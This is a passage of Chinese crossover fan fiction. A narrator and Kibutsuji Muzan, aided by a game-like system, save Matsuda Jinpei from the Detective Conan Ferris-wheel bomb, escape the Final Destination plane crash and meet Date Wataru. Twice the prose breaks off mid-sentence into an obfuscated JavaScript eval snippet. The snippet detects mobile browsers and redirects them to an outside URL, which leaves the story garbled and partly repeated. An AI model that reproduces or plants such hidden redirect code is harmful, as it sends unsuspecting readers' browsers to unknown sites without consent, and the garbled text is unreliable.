无惨对此不屑一顾。“他和我说过的话我根本就没心思一字一句都记下来,莫名其妙的指控也好责备也罢,无论他说不说,我都不会在乎一点。”在系统的空间消失前,他转身面对我走过来,低头时额头几乎与我相抵,“我也不需要你做这种替我求情的事,白夜,这太可笑了,你最好没有真的抱着‘想让他对我嘴下留情’的想法,不然有些过于恶心了。” 不敢承认的是其实我真的有一瞬间想过那么做,但当时和灶门炭治郎的对话中,我到底是没说出这层意思。果然对无惨自己来说,他也不需要这样的“体谅”,而那边的事也是“那个世界”的故事了,再怎样发展和和我们再没有关系。 我叹口气冲他笑了笑:“说的也是。我突然觉得,你果然一点都没变,这样真好。” “废话,我本就已经接近永恒不变的完美状态,才这点时间更是不会改变。” “不我指的不是这个意思……算了,不管了,我果然很喜欢这样的你呀,哈哈。”系统的空间逐渐消失,我抬脚跨出最后一点空间的残留,踩到实心物体的瞬间脑内反馈出了水泥地面的信息,时隔许久终于又一次回到现代社会背景的作品,光是脚下的触感就足够让人流泪了。 空间外是晴朗无云的上午,室外空气有些微微的凉意,走出去就来到一条马路旁,从路面上车辆靠左行驶的标识和街边的广告语来看,倒确实能认出这是日本某座城市的街头。 鬼舞辻无惨迈出空间的第一刻便迅速闪身退进一旁的小路中,建筑投影将整条小路覆盖在阴翳之下,他不紧不慢地打开系统商城选取道具。但不知是不是我的错觉,他刚才迈入小路之前似乎还是被晴好的阳光照射到了,尽管只是短短一瞬,但那并没有留下任何燃烧的反应,他脸上也未露出任何多余的神色。 大约真的是错觉吧。 【正在载入新任务】 【载入完成,请根据索引前往任务地点】 无惨已经用上了克服阳光的道具,重新走了出来,抬眸看了看系统给出的方向提示,随后又向我这里扫一眼,径直向前走去:“总算清净点了,快走吧。” 我跟着他沿系统索引一路走,一直走到一座巨大的摩天轮下,摩天轮的圆盘缓慢转动着,一切看起来都是如此正常,至少现在是。 随后这份正常在突如其来间被打破,摩天轮的控制室中猛然发出刺眼的白光,随后震耳欲聋的声音带着冲力震碎了控制室的墙壁,火焰正从控制室窗户向外钻。这突然的爆炸惊得大部分游客慌乱起来,有人抓紧时间逃离了现场,有人愣在原地不知如何是好。 炸弹,摩天轮……我抬头看向旋转的游乐设施,轿厢依次标号,写有“72”的那个轿厢即将转到游客上下口。 毫无疑问这次的任务内容…… 我回头看向商场入口处,松田阵平正穿戴好全套的爆裂物处理小组队服,向着摩天轮走来。 43. 第 43 章 《震动警视厅 1200万人质》是《名侦探柯南》中令人印象极其深刻的一篇,原作中这里贡献了一段众人白月光级别的镜头与剧情,都来自今天事件的主角松田阵平。 最初在过《贝克街的亡灵》剧情时遇到他和萩原研二,我还疑惑过为何这条时间线上本该殉职的二人仍然存活,但自从上次莫名其妙地在卡西米尔打开一扇门、走过去就变成浅井别墅区的大楼之后,我对现状已早有预料。 以《名侦探柯南》的主线时间为原点,上次那颗炸弹大约在七年前,在那之后每年的同一日期犯人都会向警视厅发送一份传真,没有其他内容,只有不断倒数的数字。于是来到了四年后的今日,也就是主线三年前的节点,仍未伏法的犯人又一次行动了。 我甚至在心底做了个大胆的猜测,这次绝不会是我们最后一次来到这个世界,在主线时期存活的萩原研二与松田阵平也绝不是个例,按照系统这种喜欢填补意难平的倾向,或许警校组牺牲的另外两人也有对应的救援任务。 这样的话反而不用太担心了,毕竟我原本也在想,诸伏景光和伊达航牺牲的时间地点都相对模糊,自己去找实在是有些困难。如果系统每次都能精准定位并把我们传送到任务地点,那就该夸它是个人性化的智能系统了。 “就是上次我们遇到的那个炸弹,同样的犯人和几乎同样的手法。”我向鬼舞辻无惨靠近些,偷偷指了指那边的爆裂物处理小组,“不知道你记不记得他,反正我们这次保证他别被炸死就行。” 他看向身着厚重防护服的松田,摇摇头:“不记得。” 我想他大概也不会去记这样一个只有一面之缘的人,更何况戴上头盔的松田只露出一双眼睛,换谁都容易认不出来。 说起来这条时间线上,因为萩原研二四年前没有牺牲,所以松田阵平也没有为了追查凶手而退出爆裂物处理小组啊……但哪怕是这样,这次他仍然来到了这里,简直就像不可逃避的宿命——大概也可以视作原作情节的强制力吧。 “总之那个72号轿厢放了一颗炸弹,那个人会在拆弹任务中殉职,我们让他活下来就能完成这段任务。”我向无惨概括了一下剧情,连同炸弹犯预设的陷阱与诡计。 于是他提出,不如赶在松田上摩天轮之前,直接摧毁那个藏着炸弹的轿厢。 “这是最高效的处理方法,你现在有武器可以直接做到吧。” 毫无疑问他说的是系统刚给我的新的金手指,从《永劫无间》中带来的武器库,包括了所有近战与远程武器。炸弹无非是装有易爆物的装置,受到剧烈冲击或高温明火都会直接爆炸,用远程武器瞄准轿厢来一枪,确实能打爆轿厢。 “这样的话就没办法让他们注意到第二颗炸弹的线索了。”我提醒他。虽然看过剧情的我是知道下一个炸弹放在了米花中央医院,但直接告诉警察炸弹地点也太容易引火上身了,很难让他们相信不说,绝对会被怀疑问话的。 说真的我还是想尽量少和这个世界产生太多牵扯,不小心被卷进主线的话就会有更多麻烦,我只是来做点任务赚赚积分的。 虽然真进主线确实也能保证在这个世界怎么浪都不会死就是了…… 我又想了想红黑两方的势力阵营,还有后期越发科幻的动作戏桥段,脑内闪过数个飞天足球的画面,最终决定还是做路人吧。 更何况鬼舞辻无惨绝对会被当作酒厂的人的!那样麻烦就更大了,所以我绝对不要参与《名侦探柯南》的主线剧情。 而且没记错的话这段剧情在整部动画中只是三百多集的特别篇回忆片段,这个时期就用科学难以解释的方式炸摩天轮,未免叫人有些愧疚。 这才哪到哪啊,载具与建筑必定爆炸的规则还得到之后才会变成铁律呢。 其他事情先放一边,松田阵平在我们说话的功夫已经走进了摩天轮的轿厢。 犯人先前炸毁了控制室,所以现在的摩天轮已无法停止。轿厢的空间很小,穿着防护套装的他一个人进去就有些吃力,即便如此,他还是回头对外面的同事比了个手势,让他们都撤远一些。 一旦他进入这节轿厢,摩天轮转到高处,犯人就又会故意引爆一颗小炸弹,导致摩天轮卡死在高空无法转回地面,最后在炸弹即将拆除时放出“下一颗炸弹的位置在最后三秒告诉你”的信息,让松田不得不将炸弹留着等待线索,最后以身殉职。 这便是原作情节。离开爆裂物处理小组的松田调入搜查一课,自然是没有专业的防护工具,炸弹爆炸时也直接以肉身面对;而现在他是穿着那个厚重的防护套装进去,也不知道那种东西到底能不能抗住爆炸威力。 不,即便那套装能抗住密闭空间内近距离爆炸的冲击和温度,轿厢卡在那个位置,一旦爆炸就会脱离摩天轮的骨架坠落下来。特制防护服也许能抵挡爆炸,但肯定无法在摔落中保护使用者。 复盘下来最好的方式是用一个技能帮助他扛过爆炸和可能到来的摔落。 “这个不知道可不可行。”我给无惨指了个角落里的方向,那里既能看见旋转的摩天轮和下面紧张等待的警察,也不至于走得太近被问话。我走到那里后抽出长剑用手紧紧握住剑鞘,另一手拿着新买的技能石,准备完全后我开始等待“变故”的发生。 现实中的人和游戏角色不一样,生命、防御、法抗这些东西统统都不可能用数值来计算。譬如游戏中的角色只要还有1%的生命就能继续活蹦乱跳,但人缺胳膊少腿都是重大残疾。 说实话,如果松田阵平今天没穿爆裂物处理小组的特制防护服,那这事还没这么好办。 爆炸如预计中一样发生,将摩天轮彻底卡死在高处,剧烈的摇晃还让炸弹中的水银泵柱进一步倾斜,只差一点,炸弹便会直接爆炸了。作品中杯户商场的摩天轮号称是日本最大的摩天轮,这样的高度让根本无法前往高处的轿厢营救。 此时的松田阵平大约已经发现了炸弹显示屏上滚动的文字,拆弹工作一时陷入停滞,围绕摩天轮的警察们和爆裂物处理小组也满脸凝重。正午时分炸弹就会爆炸,这是给松田设的一个死局,如果他提前拆除炸弹,不仅犯人会大肆宣扬警察的贪生怕死,那群秃鹫般的报纸媒体也会来展示一波什么叫新闻学魅力时刻。 但说了那么多,归根结底,松田阵平本人就不会为了求生而提前拆掉炸弹。 距离爆炸倒计时结束还有10秒,摩天轮下方的警察已经开始疏散周围无关人员,我看着时钟的秒针转动,心说是我行动的时候了。 我举起手中的长剑,将其从剑鞘中抽出一分,技能石融进其中的长剑在瞬间焕发出暖黄色的光芒,明亮却不刺眼,宛若柔和的生命流,涌向摩天轮上的轿厢。 金光构筑出六边形的护盾罩面,在我身边汇集,也包裹住轿厢周围一圈。 借着警察疏散地面人群,我望着上方的轿厢一步步向摩天轮靠近,或许有人会注意到这里的动静,但很快他们也不会注意我了。因为炸弹要爆炸了。 如果松田阵平不穿防护服的话,这招的效果就没那么好了,我想着,手指抚上焕发光芒的长剑,口中低语:“你,由我来守护。” 闪灵的三技能【教条立场】,使用的是萨卡兹赦罪师那足以掌握生命的法术,在游戏内的效果是为友方单位增强防御的同时提供高额治疗。 技能本身可以使范围内的友方单位防御力翻倍,但人类身体脆弱的结构决定了这点数值翻倍也扛不住很多伤害,所以我说松田今天穿防护套装是好事,因为技能会自动将他的装备数值一同计算进来。 也就是说,相当于强化了那件防护服,让其承伤阈值整整拉高一倍。尽管爆炸和摔落的冲击他还是得实打实地吃下,但技能的治疗能力也会同时治愈他身上的伤口,我完全有把握让他安然无恙地回到地面。 时钟秒针划过半圈指向正上方,轿厢中炸弹的倒计时清零,刺目的光线在头顶爆发,接着是震耳欲聋的响声。在这样的爆炸场面下,没有人会注意到我这里微弱流淌的光。 整个摩天轮在爆破冲击下摇晃了一下,到底是《名侦探柯南》较早的剧情,它并没有被炸倒,但不少碎片从上空掉下来砸在地上,首先是轿厢的门重重摔下,铁制的门早已变形,经过高温火焰的灼烧,已经看不出原本红色的涂装和轿厢编号;接着是一些零碎的看不出外形的烧焦物,但直到头顶轿厢内的火光渐渐熄灭,只剩下黑烟飘散至天边,也没见松田阵平的人影。 整个技能的持续时间只有一分钟,为了防止前摇导致来不及救人我才提前了一点时间释放,现在这会早就结束了。从现在开始我无法再提供治疗,他若在这段时间里受到伤害就不好了,此时连我也无法再保持方才的气定神闲,但又不能表现出过于异常的举动,只能站在原地到处张望寻找他的身影。 所幸,抬头之后就看见了挂在摩天轮内圈圆形骨架上的松田阵平。他的防护服外层烧焦了一部分,但整体还算完好,为他抵挡了爆炸的伤害,甚至他挂在上面,还向下方的同事们招了招手。 我松了一口气。 原本都在想是否要不顾被他人发现的风险使用【钙质化】了,现在看来他算安然无恙地脱险了,只待其他警察将他从摩天轮骨架上接下来。他会在那里待到炸弹爆炸,也一定是等着倒计时看到了下一个炸弹地点的提示,所以之后的事情也无需担心。 “又见到你了,虽然上次只瞥见一眼,但果然那个时候也是你吧。”抬腿要走时,有什么人叫住了我,熟悉的嗓音让我不回头都能猜到来者不是别人,正是萩原研二。 他见挚友平安无事后便直接来找我了,还提起了之前在浅井别墅区时的事,我以为那个时候无人注意到我和鬼舞辻无惨,没想到还是让萩原看见了。 我转过身看向他,给了他一个不明所以的微笑,他也同样微笑着说:“果然可爱的女孩子我是不会记错的,更不用说你两次都出现在了重要的地方,而且样貌完全没变……你会介意跟我去警视厅坐坐吗?” 好尖锐的态度! 不,这样倒是对的,萩原研二是擅长讨女孩子喜欢,这也多亏了他在与人交流方面的特长,但他毫无疑问是一名警察,本职工作是必须先做好的。就像此刻,我两次被他目击到在连环爆炸犯人的作案现场,不被怀疑才有问题。 因为是爆裂物处理小组而不是搜查一课,所以没有直接动手逮捕我吗……还是说,他将上次那颗消失的炸弹和我的存在联系到一起,发觉了些许异常,所以没有完全列入嫌疑人名单? 话说回来,最初在那个《贝克街的亡灵》的任务中,他和松田阵平似乎表现出的就是认识我的样子?也就是说直接接触他们是必然会发生的,但那个时候他们的反应也只像遇到一个熟人,所以此刻的我——对那时的他们而言已经是三年前——绝不会和他们透露太多关于自己的信息。 “萩原警官,您的好友松田警官还没从摩天轮上下来,不打算去看看他吗?”但是我破罐子破摔了,这么说话不能带给我什么好处,除了自我感觉很帅以外。但萩原是聪明人,我能直接喊出他俩的名字,他绝对能意识到我不是一般人。 我要做的也只是保留这点神秘感,不至于败坏好感的同时也拉开了距离,如果他不打算再追究的话,我就可以直接走了。 毕竟他们马上就能抓到这个喜欢来现场观赏自己“杰作”的犯人。 萩原研二看着我,似乎在确认我究竟是真有异于常人的本事还是在拖延时间,几秒后他眯起眼睛笑了,语气轻松:“别紧张嘛这位小姐,只是基本的排查周边人员而已,如果你不想去警视厅的话,我们就在这里简单聊两句吧。我的朋友松田阵平应该是被什么人保护了,不然即便穿着防护服也不可能全身而退,关于这点,我稍微有些好奇而已。” 嗯……嗯? 他的脑内到底经过了什么样的推理,居然已经将线索指向我了?! “哎呀,真的不需要紧张哦,只是因为刚才不小心看见你这里有什么东西在发光,加上浅井别墅那次炸弹直接不翼而飞了。”他察觉到我的瞳孔地震,解释了一部分自己的想法,作为一种安抚,“没关系的,这些我也不会告诉别人。” 现实世界可用的手机没充电关机了,从泰拉带来的通讯终端又连不上信号,我无法联系谁或找任何信息,就这样和萩原研二僵持在原地,谁也没继续说话。他在等我的回答,而我不知道怎样应对,直到一双猩红的眼眸从他身后扫来锐利的视线,我瞬间注意到了那边,越过面前的萩原向着那个方向点点头。 萩原回头试图寻找我在注视谁,可惜他是找不到了。我将他叫住,笑着告诉他:“那个人喜欢用炸弹作案,我就送了他一份礼物,哦,不致命的。” 我的话音落下的同一秒,稍远些的巷子里就传来爆炸的声响。 远处的松田阵平从摩天轮上下来,脱掉了受损的防护服终于一身轻便地向这边跑来,还未到时就听见了爆炸声,又停下脚步看向声源方向。我向萩原研二点头,告诉他该去处理爆炸情况了。 工作在前,萩原研二最后看我眼神笑意全无,但还是相信了我的提示。待他俩离开后,我抽出方才插兜藏在口袋里的手,手心中一颗技能石正使用完毕正在消失。 我向前走,一直走进道路尽头隐蔽的小路,与等在那里的无惨会合。“谢啦,多亏你帮我找那个犯人呢。”我向他道谢。 他一副无所谓的样子,只说了句“那个机器狗是挺好用的”。我纠正他是机械水獭,他说水里的狗不还是狗,我又说水獭是鼬科动物,他啧一声反问我是不是不回嘴会死。 不会,但会很难受,我告诉他,在他要打我之前退后一步准备开溜。 都说犯人会回到作案地点欣赏杰作,这个案子的犯人恰好就是这种人,更别说这次摩天轮炸弹完全是他为了报复日本警方搞出来的,所以杯户商场的范围内肯定能找到这人。捞松田阵平的时候,我拜托无惨帮我去抓那个还徘徊在现场的犯人了,尽管我不太记得那人的长相,无惨肯定……也不会记得这么一个人,哪怕他还揍过这人。 但基本的察言观色还是简单的。 在所有无关人员惊恐逃窜的时候,如果有一个人目睹了可能造成伤亡的爆炸后,面色兴奋脚步匆匆从现场离开,那个人心里指定有鬼。通过这样的方式,无惨也很容易锁定目标,至于用机械水塔去抓人,那就是我的私心了。 喜欢玩炸弹,那就玩个够。 令我惊喜的是系统商城在得知我要使用的是五星干员的技能后小小地降了价,之后按角色稀有度分出了不同等级的技能石,作为商城优化。这次要用的技能是五星角色梅尔的【爆破回收】,操作机械水獭前往敌人身边并一同引爆,系统商城只扣除了20积分。 虽然梅尔的天赋允许使用者同时放出五只机械水獭,但那样的话威力还是有些过大了。我只是来抓人,顺便小小地报复一下犯罪者,现代法治社会背景的作品里还是不要真的触及底线为好。 所以当我把两只机械水獭塞进无惨怀里时,他挑眉困惑地看了看水獭,又看了看我,问道:“我需要这玩意做什么?” “你找到犯人的时候把这两只放过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“那个,能不能再变一次让我看看?”无惨等我的回答等到一句这个,我想他大概觉得我没救了,因为他转头就走了。我在心里骂他是小气鬼,小跑着跟上他。 系统自动结算了松田阵平这条支线任务的积分奖励,除此之外还给了额外的一个任务里程过半奖励。我猜这大概指的就是警校组殉职的四人相关的整体任务,也就是说之后还会遇到伊达杭和诸伏景光;前者只要治好伤就能完成,后者的事件掺杂因素太多还挺困难的,但提前知道了也能提前计划起来,只希望到时候在场人员都能好好沟通。 【玩家现有积分:570】 “总感觉现在做任务越来越顺利了,已经完全习惯这种节奏了呢。”系统安静后,我和无惨走在路上,空气安静得有些尴尬,我随口开始没话找话。 周围的景象在我们前进过程中不断变得模糊,随后一点点失去色彩,变成黑白的线条,最后连线条勾勒的形状也像融化一般消去痕迹。这大概是系统正在转换世界,而我们也只需要继续向前走。 无惨看了我一眼,没有回话。直到我们走到某一个点时,身边空白的环境中无数颜色和物体又瞬间像炸开般,疯狂涌现出来。我呆愣了一下,回过神来才发现自己正站在狭窄的过道上,脚下是深色的地毯,两边是连排座椅,吸进鼻腔的空气里有淡淡的燃油味,还有种特殊的轻微臭味。 是飞机机舱特有的混杂了无数成分的复杂气味,我也确认了自己正站在一架飞机的客舱内,无惨正在我身后,沉着脸打量周围的人。 飞机?怎么在飞机上?哪一部作品会跟飞机有关? 前一秒我们还在少儿推理恋爱作品,现在居然就来到了这样的场景,而且这熟悉却想不起来的环境让我心里感到无比压抑,不安的感觉萦绕在心头,总觉得系统将我们传送到这里就意味着这绝对不是普通飞机。 “这里不是日本。”无惨走近我小声提醒了一句,我才想起来去看周围其他登机的乘客,清一色都是些典型的西方人外貌。听觉这才迟钝地开始反馈信息,一些笑闹着的英语交谈也传入耳中,随后一道不耐烦的声音从无惨身后响起,年轻的白人男性说着我们挡了他的路,叫我们让开。 所幸身旁的两个靠窗座位比其他座位多了一圈亮光的提示,是系统为我们标出的。我扯了扯无惨的袖口拉他先在座椅上坐下,认真看过每一个从过道穿行的乘客,试图从里面辨认出几个熟悉的面孔。 可惜,失败了。 也不是完全不记得自己有看过这样的作品,但场景从屏幕内变成现实画面,还是与自己母语文化完全不同的地方,就容易让人对这些金发碧眼的面孔产生脸盲。盲猜的话倒也能穷举出几个,无非就是空中劫机或是天灾、空难一类的流水线商业片,这些作品一般就是看过一次然后光滑地从大脑里溜走,除了视觉上的夸张猎奇外没有特别的内涵,不过高死亡率的作品当然也能带来高收益就是了,毕竟积分都是靠救人换的。 呃,总不至于是什么飞机上突现食人巨蟒,或者龙卷风把三个头的鲨鱼吹上天的无厘头烂片。如果系统真的把我们带到这里来,那我首先要做的就是给它展示一下我在语言上的攻击性。 “我暂时没印象。”我实话告诉鬼舞辻无惨,“可能过一会正片剧情开始了我就能想起来,现在只能先坐这班飞机,看看目的地是哪里了。” 无惨倒没在意这个我想不起来的作品世界,普通的人类社会背景再怎样都不会对他造成威胁,至少目前看来这只是普通的夜间航班。他听着周围人嘈杂的交流,身体后仰靠在椅背上转头看向我:“是巴黎。这些人是学生吧,他们聊的都是些上课考试,游学这种话题。” 学生?一群学生坐飞机去巴黎,这个前置条件听起来是挺熟悉了,哪部作品来着? 作品名似乎就要到嘴边,这时一些意外的喧闹打断了我的沉思。 一名年轻的男生从靠后些的座位中跳出来,情绪激动地大声呼喊起来。“飞机会爆炸!这班飞机会坠毁!”前排的乘客也被他的举动吸引回头,而他发疯般地喊着,说飞机会爆炸。机组人员前来查看情况并警告他不要开玩笑,那男生也直接表示自己要下飞机。 这样的喧哗又引得一些人起身查看,有人和他发生口角甚至动了拳脚,最终这些人都被请下了飞机。乘务员通过广播安抚着剩下乘客的情绪,并保证航班的安全,表示稍后就会准备起飞。 这场小小的骚动到这里告一段落,有人低声抱怨着那男生的发疯让自己也感到些不安,也有人没把他的话当一回事。机舱内的氛围没什么变化,大部分人仍然只关心自己的旅途。 到这里我却再也坐不住了。 方才那不到五分钟的闹剧终于让我将其与脑海深层的记忆关联起来,所有的记忆全部浮现,这不是什么烂片,也不是什么我记不住的爆米花商业片,但我越回忆越感到脊背发凉,放在飞机座椅扶手上的双手也不住地颤抖起来。 “不能真的是吧……怎么会是……”我低声的喃喃自语让无惨狐疑地看过来,他刚才正看向后面,看向之前那个男生跳出来的座位,那里的飞机小桌板是损坏的。 他察觉到我过于异常的脸色,出声询问道:“你想起来了什么?” 我尝试借他的声音让自己尽可能平复一些情绪,但话说出来的第一个音节还是差点没压住音量。我闭上嘴顿了顿,抬头去看他的眼睛:“我们也得下飞机……不对,不仅仅是下飞机。” 这一次我是真的不知道该怎么做了。 “这个世界的任务不能做,我们得离开这里!” 44. 第 44 章 我抓上鬼舞辻无惨的袖子,在那质地良好的平整衣料上攥出一片褶皱,而我异常的反应也让他忍不住从盯住飞机前舱门的方向转回头来看向我。 “怎么了?”或许是我的脸色太难看,又转变得如此突然,他垂眸看过来时也沉默了一下,随后才询问情况。 “不能坐飞机,要下去,不对不能下,这个东西没法玩啊搞什么……”我低声念叨着混乱的语句,看着从前舱门那里走回来的这群学生们的一位老师,还有处理完事务重新检查客舱的空乘人员,抓着无惨袖子的手又紧了几分,语气变得越发焦急,“这个作品的任务不能接,没办法玩的,就没有什么脱离任务的机制吗?系统怎么突然刷到这个地方了?得叫系统出来放弃任务。” 无惨用另一只手将我抓着他的手指一根根拉开,低头凑近些说:“为什么突然这么恐惧?这不像你,冷静一点好好说。” 我抬眼看他,他的红眸中映出我呼吸急促、双肩上下大幅度耸动的模样。另一边相邻的乘客察觉到我的不对劲,也倾身过来询问我发生了什么。但我没办法和他们解释,现在和剧情里这些人说话的话,我能讲出口的与刚才那“发疯”的高中男生应该没什么两样;飞机要爆炸,所有人都会死于飞机失事,因为这件事确实会发生。 这是一趟命中注定坠毁并带着机上所有人员奔赴黄泉的航班。 虽然这作品有些年头了,但剧情桥段足够经典,画面也足够有冲击、足够使人印象深刻,这就是《死神来了》系列的第一部。方才大喊大叫的高中生正是男主,他的一个预知梦让他感到了死亡的危机,因为这个举动而带着几个人下了飞机逃过一劫,但剧情从他们的幸存才正式开始,这些人无一例外,都会死的。 我没那么了解西方的宗教文化,但这个系列的电影传递的也就是那种“死神绝不会放过任何一个愚弄死亡的人”的主旨,这些因为预知梦躲过死亡的人被列入了某种通缉名单,整个影片的亮点也就是那些角色死亡的血浆时刻,令人胆寒的也是那些设计精妙得只像意外事故的死亡场景。 如果只是这样的现代背景那当然没什么难度了,只不过这个系列的设定实在是叫人头大。所有的主角在最后都逃过一次死亡迎来新生活,但又会在最后的最后遭遇“劲爆尾杀”,也就是说,没人能免于一死。 用游戏的方式来讲就是机制怪,这个系列的作品大约是真的存在死神这种东西,而它或祂就是纯机制怪,主角团的这些人也像被加上了不可消除的诅咒,无论怎样救,最后都不可能幸终。 这就没法玩。如果我和无惨下了飞机,不仅要操心那些人随时随地的死亡威胁,连我们自己也会卷入这种大逃杀里,时效还是永远。我或许能凭着对电影的记忆救下角色一次,但之后伴随他们终生的死亡诅咒我还是无法消除,这积分能不能赚、赚了会不会被扣除,几个问题一个比一个糟心。 我是真的不想打这关。 旁人的声音提醒了我现在这班飞机并非私密场所,稍微冷静些后我抬头准备和那人说没事。鬼舞辻无惨倒先一步伸手从我背后绕过,按在我肩上,将我向他那边揽了揽:“不用担心,她没事。” 我没忍住瞥了眼邻座的乘客,又看看无惨。“你这样有点容易被当作家暴者……”我用极小声偷偷吐槽一句,还是向邻座那人笑了笑,告诉对方自己确实没事。 只是起飞前有些紧张,我说。 这段小小的无端联想也是让我紧绷的精神稍微平复了些,我重新看回无惨,准备和他说自己想跑路的理由:“这个作品有点难搞啦,如果可以的话我是想放弃的,真不想把自己搭进去。” 我把作品相关的事都简单说了一遍,空乘已经从最后排走回前面去准备坐下等待起飞了。 “所以你想脱离这个世界,如果一切真如你所说,这个作品确实很烦人。”无惨已经收回手坐正了,他的座位靠窗,正看向窗外淅淅沥沥下着雨的机场夜景,“死神吗……人类总是认为有这样执行死亡的‘正义之神’存在,但事实上,这种东西根本就是人类自己想象的产物吧,我可从未见过什么掌管死亡的神。” “如果是这部作品的话死神还是存在的,但也没有本体,是一个虚无缥缈的概念神。”把自己的忧虑说出口后,我心里确实舒服了很多。 飞机已经开始滑行上跑道,现在要下飞机也来不及了,但既然知道会爆炸,有源石技艺和其他技能在手,让自己安全活下来也不是难事。我总是觉得,有无惨在的话,一切问题都好解决。 我向后靠在座椅椅背上尽量放松,问他:“所以我们要不要跑路?理论上应该可以不接任务直接走的,这些人没法救,让他们自己努力活吧。” 良久的寂静后,鬼舞辻无惨点了点头。 【玩家是否确定脱离本次任务?】 系统在呼叫的瞬间就给了答复,看上去是有脱离方法的。这面电子屏和字幕依然只有我和无惨能看见,我张口用气音说了确定,系统的字幕变了个样。 【脱离本次任务需在后期完成补偿任务,玩家是否确认接受?】 补偿任务……虽然不知道是什么,但总好过困在这个作品中被那个死神遛着跑。 【正在准备脱离程序,请稍等】 【已完成程序设定,玩家请坐在原位保持等候,剧情节点后会自动为玩家脱离世界】 “什么意思?剧情节点之后自动脱离,那是什么节点?”我看了眼窗外已经开始加速准备升空的飞机,系统说到这个份上,我又有点急了。这飞机连机场上空都飞不出就会爆炸,再等下去就真的要出事了,那节点难道指的是空难本身? 【玩家请坐在原位等候,请不要做任何多余操作,系统会自动安排脱离】 我倒吸一口凉气。 看来我的猜测是不错的,这系统非要拉着我们一直等到飞机爆炸之后,按它的意思,我们必须坐在这里等着整个飞机在空中颠簸、解体,最后火焰席卷一切。那句“不要做任何多余操作”,不就是指让我们什么都不做看着自己活活死在空难中吗?! 这谁受得了啊! 飞机逐渐升空,半空紊乱的气流让飞机颠簸了一会,然后又恢复平静。机上所有人都松了一口气,只有我知道,这只是某种“回光返照”,飞机马上会更猛烈地摇晃,直到解体爆炸,这个过程也不超过五分钟。 所以我必须等着一切发生,去经历这场灾难,甚至让自己体会一次死亡吗? 呵呵,不知道的还以为是系统故意惩罚呢。 同样听明白系统语意的鬼舞辻无惨倒对可能到来的空难没什么感觉,这确实也威胁不了他,普通的机械燃油爆炸也不会让他感到疼痛,他只是平静地看着窗外沉寂的夜晚。 我闭上眼睛,只希望自己能一秒内昏过去,这样就感觉不到任何不适了。 仅仅一瞬间的功夫,整架飞机都开始剧烈摇晃起来,所有乘客都被颠得七荤八素,一些行李架上的包裹因为行李架在颠簸中震开而掉落下来,头顶的氧气面罩也瞬间放下来,多数乘客勉强撑着戴上了面罩。耳边满是惊叫声,听得人心烦意乱,但现在我不能做任何事,只能等待火焰吞没机舱的那一刻。 我本来也救不了他们的,我只能这样对自己说,他们注定会死在这里,就算我参与这个任务干涉剧情,这两百多人也还是会死在之后的意外中。 但这还是太难熬了。飞机的侧边开了个洞,高空中即便闭着眼也能感觉到那边因气压差而卷起的强烈气流。我无心去戴那个徒劳的面罩,氧气减少的窒息感反而能让我的意识不要放在这座飞机内,只等待着最后的结果。 面前扑上灼热的温度,刺骨的痛感从面部传遍全身,高温持续了不止一会,爆炸的轰鸣声盖过了其他所有人声。在失去意识的最后一刻,我感到有人抓住了我紧扣座椅扶手的手腕,那只手完全能环住我的腕骨,手掌内冰冷的温度和身边的炽热形成反差,在那之后我什么都感觉不到了。 然后是什么来着……我实在不知道自己怎样从那里脱离出来的,系统的程序就像眨眼间完成一般,等我再次睁眼时,已经站在了一条普通的马路边。 就像是溺水后从水里被捞上来,我迟钝地反应了两秒才想起来呼吸。意识回溯的同时,方才的记忆也再次浮现在脑海,惊恐的尖叫声和绝望的哭喊,鼻腔内仿佛还停留着煤油燃烧的气味,还有那诡异的血腥味和人体组织烧焦的味道…… 我的呼吸无法抑制地急促,伴随着一阵阵从胃部翻上来的恶心感,让我没忍住捂着嘴跪下地。腹部抽搐了数下,要把胃里的胃酸都顶出来,我强压下那种感觉,不愿意在这里吐出来,但脑内仍是方才挥之不去的画面,连同我自己被火焰席卷全身的记忆。 这种感觉和以前看血浆片是不同的,视觉上的刺激转换成其他所有感官的生理记忆,即便不愿回忆也不断地擅自提醒我,刚才经历了怎样的人间炼狱。说实在的,这趟过后我要有很长一段时间不敢坐飞机,也不想再看任何美式限制级影片了。 “别想了,你还活着。”熟悉的声音从头顶传来,鬼舞辻无惨只说了简短的话语,关于刚才脱离世界的其他话,他闭口不提。 这句话宛若有魔力一般,只是简单地告诉我现在我还好好活着、现在我是安全的,只是告诉我这样一个状态,能让我从过于应激的反应中缓解一些。 我看见他站在我跟前,低下头的视角里只有他的裤腿和皮鞋,于是我下意识向前伸手想去拉他,上方传来微不可闻的轻叹声,随后一只没有温度的手自下而上抓住我的手腕,再变换到手心托住我手掌的姿态。 我重新闭上眼做了几次深呼吸,不适的感觉终于减轻不少。 “谢谢。”我向他道谢,抓着他的手准备借力站起,身后却突然传来其他的人声。 是两道不同的男声,一个听着年轻青涩,另一个很浑厚,但从声音去分辨的话,这两人都给人浑身正气的感觉,不是军警相关职业大概没有这种气度。 我起身后回头,两张熟悉的面孔也映入眼帘。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679176|173202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 高木涉和……伊达航?确实是这两人不会错,但他们为什么会在这里?我和无惨从《死神来了》那个世界脱离出来后,又回到了《名侦探柯南》? 是因为下一个任务也在这里,还是单纯地返回上一个世界……不,应该不是单纯返回。 我突然想起来这段情景可能发生的剧情了。 伊达航在《名侦探柯南》主线前一年死于车祸,就是在和高木涉两人通宵盯梢后下班的路上,被疲劳驾驶的车辆撞伤头部。没猜错的话,我们虽然回到了这个世界,但时间线已经有所不同。 “我没事,刚才不小心摔了一下,我朋友正要拉我起来呢。”我看向两位刑警,但他们此刻穿的是便衣,为了盯梢也没有表明身份,所以就当他们是热心路人就好。 